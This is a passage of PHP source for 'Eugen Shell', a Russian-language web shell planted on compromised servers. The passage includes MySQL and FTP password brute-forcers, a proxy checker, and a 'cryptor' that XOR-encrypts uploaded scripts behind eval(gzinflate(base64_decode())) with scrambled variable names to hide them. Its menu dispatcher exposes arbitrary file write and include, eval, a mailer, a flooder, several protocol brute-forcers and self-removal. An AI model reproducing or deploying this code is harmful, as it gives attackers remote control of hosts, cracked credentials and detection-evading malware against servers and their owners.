  3460. if($type){
  3461. $combo=trim(fgets($dictionary)," \n\r");
  3462. $user=substr($combo,0,strpos($combo,':'));
  3463. $pass=substr($combo,strpos($combo,':')+1);
  3464. }else{
  3465. $pass=trim(fgets($dictionary)," \n\r");
  3466. }
  3467. $sql=@mysql_connect($target,$user,$pass);
  3468. if($sql){echo "U: $user P: $pass (<a href=\"".hlink("sec=mysql&server=$target&user=$user&pasr=$pass&query=SHOW+DATABASES&workingdir=".getcwd())."\">Подключиться</a>)<br>";mysql_close($sql);if(!$type)break;}
  3469. flusher();
  3470. }
  3471. echo "<br>Готово!</font>";
  3472. fclose($dictionary);
  3473. }
  3474. else{
  3475. echo "$errorbox Невозможно открыть словарь.$et";
  3476. }
  3477. }
  3478. else{
  3479. echo "<center>${t}MySQL брут:$crack";
  3480. }
  3481. }
  3482. }
  3483. function ftpcracker(){
  3484. global $errorbox,$t,$et,$crack;
  3485. if (!function_exists("ftp_connect"))echo "$errorbox Сервер не поддерживает FTP функций$et";
  3486. else{
  3487. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  3488. $target=$_REQUEST['target'];
  3489. $type=$_REQUEST['combo'];
  3490. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  3491. $dictionary=fopen($_REQUEST['dictionary'],'r');
  3492. if ($dictionary){
  3493. echo "<font color=blue>Ломаем ".htmlspecialchars($target)."...<br>";
  3494. while(!feof($dictionary)){
  3495. if($type){
  3496. $combo=trim(fgets($dictionary)," \n\r");
  3497. $user=substr($combo,0,strpos($combo,':'));
  3498. $pass=substr($combo,strpos($combo,':')+1);
  3499. }else{
  3500. $pass=trim(fgets($dictionary)," \n\r");
  3501. }
  3502. if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Невозможно подключиться к серверу.$et";break;}
  3503. if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;}
  3504. ftp_close($ftp);
  3505. flusher();
  3506. }
  3507. echo "<br>Готово!</font>";
  3508. fclose($dictionary);
  3509. }
  3510. else{
  3511. echo "$errorbox Невозможно открыть словарь.$et";
  3512. }
  3513. }
  3514. else echo "<center>${t}FTP брут:$crack";
  3515. }}
  3516. function openit($name){
  3517. $ext=strtolower(substr($name,strrpos($name,'.')+1));
  3518. $src=array('php','php3','php4','phps','phtml','phtm','inc');
  3519. if(in_array($ext,$src)) {
  3520. echo "<div style=\"margin: 0px;padding: 7px;border: 1px inset;width: 830px;height: 600px;overflow: auto;background-color: #C0C0C0;color: #000000\">";
  3521. highlight_file($name);
  3522. echo "</div>";
  3523. }
  3524. else echo "<div style=\"margin: 0px;padding: 7px;border: 1px inset;width: 830px;height: 600px;overflow: auto;background-color: #C0C0C0;color: #000000\"><font color=black><pre>".htmlspecialchars(file_get_contents($name))."</pre></font></div>";
  3525. }
  3526. function proxycheck() {
  3527. global $et,$msgbox;
  3528. $file=$_REQUEST['file'];
  3529. echo $msgbox;
  3530. if (!isset($file) || empty($file)) { ?>
  3531. <form action="#" method='post'>
  3532. Введите прокси <br><textarea name='file' cols='100' rows='20'>195.39.68.121:8080
  3533. proxy.domen.com:3128</textarea><br><br>
  3534. <input type='submit' value='Проверить'></form>
  3535. <?
  3536. }
  3537. $good="";
  3538. $timeout="5";
  3539. if(isset($file))
  3540. {
  3541. $start = time ();
  3542. while (strstr($file,"\r\n\r\n")) {
  3543. $file=str_replace("\r\n\r\n", "\r\n", $file);
  3544. }
  3545. $proxy=explode ("\r\n", $file);
  3546. $vse = count($proxy);
  3547. echo "<center><font color=blue><b>Пожалуйста, не закрывайте окно браузера до окончания проверки!</b></font></center>";
  3548. echo "<center>Всего проксей:<b> $vse<br><br><br><br></b></center>";
  3549. foreach($proxy as $index => $proxy )
  3550. {
  3551. if(isset($proxy) && !empty($proxy))
  3552. {
  3553. $prox = explode (":",$proxy);
  3554. $addr=gethostbyname($prox[0]);
  3555. $prox[1] = str_replace("\r","",$prox[1]);
  3556. $prox[1] = str_replace("\n","",$prox[1]);
  3557. $fp = fsockopen($addr,$prox[1], $errno, $errstr, $timeout);
  3558. ob_implicit_flush();
  3559. if(!$fp)
  3560. {
  3561. ob_implicit_flush();
  3562. echo "<font color=red>$proxy не работает...</font><br>";
  3563. }
  3564. else
  3565. {
  3566. ob_implicit_flush();
  3567. echo "<b><font color=green>$proxy работает!</font></b><br>";
  3568. $good .= $proxy."<br>";
  3569. }
  3570. }
  3571. }
  3572. $time = time ();
  3573. $end_time = $time - $start ;
  3574. echo "Затрачено времени: $end_time сек.<br>";
  3575. echo "Хорошие прокси:<br><br>$good";
  3576. }
  3577. echo $et;
  3578. }
  3579. if ($_REQUEST['sec'] == 'cryptphp') {
  3580. global $msgbox,$et;
  3581. if (!isset($_GET['crypt']) || empty($HTTP_POST_FILES['file'])) {
  3582. ?>
  3583. <html>
  3584. <head>
  3585. <? echo $mainmenu; ?>
  3586. <title>Eugen Shell - <?=getcwd();?></title>
  3587. </head>
  3588. <body text="#ffffff" bgcolor="#181818" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC" onLoad="writeMenus()" onResize="if (isNS4) nsResizeHandler()">
  3589. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
  3590. <tr><td><br>Системная дата: <? echo $date." ".$time_now; ?></td></tr></table><hr size=1 noshade>
  3591. <?=$msgbox;?>
  3592. <h1>Криптор PHP скриптов</h1>
  3593. <br />
  3594. <form action="<? echo hlink("sec=cryptphp&crypt=1"); ?>" method="post" enctype="multipart/form-data">
  3595. Загрузите ваш скрипт:<br />
  3596. <small>(Разрешённые расширения: php, php3, php4, php5)</small><br />
  3597. <input type="file" name="file" />&nbsp;<input type="submit" value="Crypt it!" /><br />
  3598. </form>
  3599. <? echo $et.$footer; ?>
  3600. </body>
  3601. </html>
  3602. <?php
  3603. exit();
  3604. } else {
  3605. $file_ext=get_file_ext($HTTP_POST_FILES['file']['name']);
  3606. if ($file_ext != "php" && $file_ext != "php3" && $file_ext != "php4" && $file_ext != "php5") {
  3607. die ("<h2>Загруженный файл не является РНР скриптом!</h2>");
  3608. }
  3609. $input = $_FILES['file']['tmp_name'];
  3610. $f=join("", file($input));
  3611. $key = rand(1,99);
  3612. $new = '';$len=strlen($f);
  3613. for($i=0;$i<$len;$i++)
  3614. {
  3615. $new .= chr(ord($f[$i]) ^ $key);
  3616. }
  3617. $new=str_replace("\"","\\\"",$new);
  3618. $new=str_replace("\$","\\$",$new);
  3619. $kaka1=rand(0,99);
  3620. $kaka2=rand(0,99);
  3621. $kaka3=rand(0,99);
  3622. $kaka4=rand(0,99);
  3623. $kaka5=rand(0,99);
  3624. $kaka6=rand(0,99);
  3625. $kaka7=rand(0,99);
  3626. $kaka8=rand(0,99);
  3627. $kaka9=rand(0,99);
  3628. $code1 = base64_encode(gzdeflate("\$k".$kaka1."e".$kaka2."y".$kaka3."_t".$kaka4."h".$kaka5."a".$kaka6."t".$kaka7."_".$kaka8."s".$kaka9."c".$kaka2."r".$kaka3."i".$kaka4."p".$kaka5."t".$kaka6."_".$kaka7."i".$kaka8."s".$kaka9."_".$kaka3."c".$kaka4."r".$kaka5."y".$kaka6."p".$kaka7."t".$kaka8."e".$kaka9."d".$kaka4."=".$key.";\$r".$kaka2."e".$kaka4."s".$kaka6."o".$kaka8."u".$kaka1."r".$kaka3."c".$kaka5."e_c".$kaka7."r".$kaka9."y".$kaka1."p".$kaka2."t".$kaka3."e".$kaka4."d_c".$kaka5."o".$kaka6."d".$kaka7."e".$kaka8."=\"".$new."\";\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9."=\$r".$kaka2."e".$kaka4."s".$kaka6."o".$kaka8."u".$kaka1."r".$kaka3."c".$kaka5."e_c".$kaka7."r".$kaka9."y".$kaka1."p".$kaka2."t".$kaka3."e".$kaka4."d_c".$kaka5."o".$kaka6."d".$kaka7."e".$kaka8.";\$l".$kaka9."e".$kaka8."n".$kaka7."t".$kaka6."h_o".$kaka5."f_c".$kaka4."r".$kaka3."y".$kaka2."p".$kaka1."t".$kaka8."e".$kaka7."d_c".$kaka6."o".$kaka5."d".$kaka4."e".$kaka3."=strlen(\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9.");\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8."='';for(\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m=0;\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m<\$l".$kaka9."e".$kaka8."n".$kaka7."t".$kaka6."h_o".$kaka5."f_c".$kaka4."r".$kaka3."y".$kaka2."p".$kaka1."t".$kaka8."e".$kaka7."d_c".$kaka6."o".$kaka5."d".$kaka4."e".$kaka3.";\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m++)\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8." .= chr(ord(\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9."[\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m]) ^ \$k".$kaka1."e".$kaka2."y".$kaka3."_t".$kaka4."h".$kaka5."a".$kaka6."t".$kaka7."_".$kaka8."s".$kaka9."c".$kaka2."r".$kaka3."i".$kaka4."p".$kaka5."t".$kaka6."_".$kaka7."i".$kaka8."s".$kaka9."_".$kaka3."c".$kaka4."r".$kaka5."y".$kaka6."p".$kaka7."t".$kaka8."e".$kaka9."d".$kaka4.");eval(\"?>\".\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8.".\"<?\");",9));
  3629. $code="<? eval(gzinflate(base64_decode(\"".$code1."\"))); ?>";
  3630. header("Content-type: application/octet-stream");
  3631. header("Content-disposition: attachment; filename=\"crypted.".$file_ext."\";");
  3632. header("Content-length: ".strlen($code));
  3633. echo $code;
  3634. exit();
  3635. }
  3636. }
  3637. ?>
  3638. <html>
  3639. <head>
  3640. <? echo $mainmenu; ?>
  3641. <title>Eugen Shell - <?=getcwd();?></title>
  3642. </head>
  3643. <body text="#ffffff" bgcolor="#181818" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC" onLoad="writeMenus()" onResize="if (isNS4) nsResizeHandler()">
  3644. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
  3645. <tr><td><br>Системная дата: <? echo $date." ".$time_now; ?></td></tr></table><hr size=1 noshade>
  3646. <?php
  3647. if (!empty($_REQUEST['sec'])){
  3648. switch($_REQUEST['sec']){
  3649. case 'fm':filemanager();break;
  3650. case 'sc':scanner();break;
  3651. case 'phpinfo':ob_start();
  3652. phpinfo();
  3653. $phpinfo=ob_get_contents();
  3654. ob_end_clean();
  3655. $phpinfo=preg_replace("#<!DOCTYPE[^>]*?[>].*?<body>#is","",$phpinfo);
  3656. $phpinfo=preg_replace("#</body[^>]*?[>].*?</html>#is","",$phpinfo);
  3657. echo $phpinfo;
  3658. break;
  3659. case 'edit': if (!empty($_REQUEST['open']))editor($_REQUEST['file']);
  3660. if (!empty($_REQUEST['save'])){
  3661. $filehandle= fopen($_REQUEST['file'],"w");
  3662. fwrite($filehandle,$_REQUEST['edited']);
  3663. fclose($filehandle);}
  3664. if (!empty($_REQUEST['file'])) editor($_REQUEST['file']);else editor('');
  3665. break;
  3666. case 'openit':openit($_REQUEST['name']);break;
  3667. case 'cr': cracker();break;
  3668. case 'dic':dicmaker();break;
  3669. case 'whois':whois();break;
  3670. case 'hex':hexview();break;
  3671. case 'img':showimage($_REQUEST['file']);break;
  3672. case 'inc':include ($_REQUEST['file']);break;
  3673. case 'hc':hashcracker();break;
  3674. case 'fcr':formcracker();break;
  3675. case 'snmp':snmpcracker();break;
  3676. case 'sql':sqlcracker();break;
  3677. case 'auth':authcracker();break;
  3678. case 'pop3':pop3cracker();break;
  3679. case 'imap':imapcracker();break;
  3680. case 'smtp':smtpcracker();break;
  3681. case 'ftp':ftpcracker();break;
  3682. case 'eval':phpeval();break;
  3683. case 'http':http();break;
  3684. case 'px':proxy();break;
  3685. case 'webshell':webshell();break;
  3686. case 'mailer':mailer();break;
  3687. case 'tools':tools();break;
  3688. case 'asm':safemode();break;
  3689. case 'icq':icqbrute();break;
  3690. case 'code':calc();break;
  3691. case 'chmod':cm();break;
  3692. case 'selfremove':selfremove();break;
  3693. case 'hash':code();break;
  3694. case 'fflooder':fflooder();break;
  3695. case 'calc':calc();break;
  3696. case 'sysinfo':sysinfo();break;
  3697. case 'mbr':mrabrute();break;
  3698. case 'checksum':checksum($_REQUEST['file']);break;
  3699. case 'prc':proxycheck();break;
  3700. case 'about':echo $intro;break;
  3701. default: filemanager();
  3702. }}else { filemanager(); }
  3703. echo $footer;
  3704. ?>
  3705. </body>
  3706. </html>